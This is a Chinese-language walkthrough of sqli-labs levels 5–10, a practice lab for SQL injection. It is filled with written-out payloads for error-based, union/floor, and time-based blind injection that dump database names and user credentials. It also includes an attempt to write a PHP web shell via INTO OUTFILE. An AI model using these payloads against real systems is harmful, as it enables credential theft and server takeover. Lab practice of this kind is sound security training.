Sqli-labs(5)
同前四关一样先?id=1
?id=1结果报错
这一关感觉是很像第一关,来用order by 和 union语句来试试,可以知道有几列,但是不回显,看来这个没啥卵用了。。。。
Sqli-labs(5)这一关怎么尝试都是You are in…没有1-4关的那样回显。
看来另寻出路了
我们尝试用updatexml函数,看获取到数据库名
?id=0' and updatexml(1,concat(0x7C,(select database())),1)--+
已经猜解到数据库名,接下来猜解表名,其中users表我们感兴趣。
?id=0' and updatexml(1,concat(0x7C,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+
进行猜解user表的列名,其中username和password是我们想要的哦豁!碰上问题了
原来updatexml对输出长度有限制32位
?id=0' and updatexml(1,concat(0x7C,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+
?id=0' and updatexml(1,concat(0x7C,(select group_concat(username,'|',password) from users)),1)--+
extractvalue()函数也是和上边的updatexml函数一样都是32位。
接下来使用另一种操作
floor函数
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select database()))a from information_schema.tables group by a)b--+
通过以上语句得到数据库名而前边那个1是随机产生的没有影响。
使用limit语句来一个个截取行输出
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(database(),'=',version()) limit 0,1))a from information_schema.tables group by a)b--+
下面一个个试来获取表。
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(table_name,'|') from information_schema.tables where table_schema=database() limit 3,1))a from information_schema.tables group by a)b--+
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(column_name,'|') from information_schema.columns where table_name='users' limit 2,1))a from information_schema.tables group by a)b--+
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(column_name,'|') from information_schema.columns where table_name='users' limit 26,1))a from information_schema.tables group by a)b--+
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(username,'|',password) from users limit 0,1))a from information_schema.tables group by a)b--+
sqli-labs(6)
第六关这里就是与上一关闭合引号不同,由单引号换成双引号。
?id=0" UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(username,'|',password) from users limit 0,1))a from information_schema.tables group by a)b
Sqli-labs(7)
这一关挺稀奇的是outfile,我们知道load_file函数读文件的操作,into outfile函数就应该是写文件的操作了。
?id=1探测,出来outfile
来试试闭合,单引号报错,双引号报错,单引括号报错,括号正常,双引号括号正常显示。
?id=1'
?id=1"
?id=')
?id=")
?id=)
我们先试试括号闭合上传一句话
?id=-1")) UNION SELECT 1,"<?php @eval(['shell'])?>",3 into outfile "//var//www//html//sqli//Less-7//shell.php"--+
唉!怎么试我的都没有上传成功。
Sqli-labs(8)
尝试使用各种闭合。
?id=1
?id=1'
?id=1"
?id=1')
?id=1")
?id=1' UNION SELECT 1,"shell'])?>",3 into outfile "//var//www//html//sqli//Less-7//shell.php"--+
Sqli-labs(9)
第九关是时间盲注。
尝试单引号闭合,用时四毫秒
使用时间盲注语句
?id=1' and sleep(4)--+
可以看到慢了很多,四秒后打开页面,这样判断出存在字符型时间sql注入。
?id=1' and if(length(database())=1,sleep(4),1)--+
?id=1' and if(length(database())=5,sleep(4),1)--+
?id=1' and if(length(database())=8,sleep(4),1)--+
这里注意有很大的延时,说明该数据库长度为8个字符。
丢下ASCII码表
接下来使用二分法猜解数据库名。
?id=1' and if(ascii(substr(database(),1,1))>97,sleep(4),1)--+ #有明显延时
?id=1' and if(ascii(substr(database(),1,1))>123,sleep(4),1)--+ #有明显延时,说明数据库名第一个字母在a-z字母之间。
说明此数据库首字母为s
往下依此类推猜解到完整的数据库名,security。
?id=1' and if(ascii(substr(database(),2,1))>97,sleep(4),1)--+
猜解表名,先获取有多少个表
?id=1' and if((SELECT count(table_name) from information_schema.tables where table_schema=database())=1,sleep(4),1)--+ #没有延时
?id=1' and if((SELECT count(table_name) from information_schema.tables where table_schema=database())=4,sleep(4),1)--+ #存在延时,说明表中有四个表
?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=5,sleep(4),1)--+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(4),1)--+ #猜解出第二个表首字母为u
往下继续猜解猜解到users表,列名,字段名,这里就不往下试了。
Sqli-labs(10)
这一关与第九关相比只是闭合方式不同,这里成了双引号闭合。
?id=1" and sleep(4)--+
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(4),1)--+